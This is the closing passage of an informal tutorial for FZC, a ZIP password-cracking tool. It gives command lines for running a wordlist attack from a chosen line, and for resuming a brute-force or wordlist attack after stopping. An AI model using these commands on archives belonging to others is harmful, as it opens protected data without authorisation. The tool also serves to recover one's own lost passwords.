If you want to crack a file called myfile.zip using the "theargonlistserver1.txt" wordlist, selecting mode 3, and you wanted FZC to start reading at line 50 you would do:

fzc -mw3 -nzmyfile.zip -nwtheargonlistserver1.txt -f50





--------------------------------------------------------------------------------
Resuming
--------------------------------------------------------------------------------

Other good feature in FZC is that FZC supports resuming. If you need to shutdown your computer and FZC is running you just need to press the ESC key, and fzc will stop. Now if you are using a brute force attack the current status will be saved in a file called resume.fzc but if you are using a wordlist it will say to you in what line it ended (you can find the line in the file fzc.log too).
To resume the bruteforce attack you just need to do:

fzc -mr

And the bruteforce attack will start from the place where it stopped when you pressed the ESC key.
But if you want to resume a wordlist attack you'll need to start a new wordlist attack, saying where it's gonna start. So if you ended the attack to the file.zip in line 100 using wordlist.txt in mode 3 to resume you'll type

fzc -mw3 -nzfile.zip -nwwordlist.txt -f100

Doing this FZC would start in line 100, since the others 99 lines where already checked in an earlier FZC session.


Well, it looks like I covered most of what you need to know. I certainly hope it helped you... don't forget to read the files that come with the program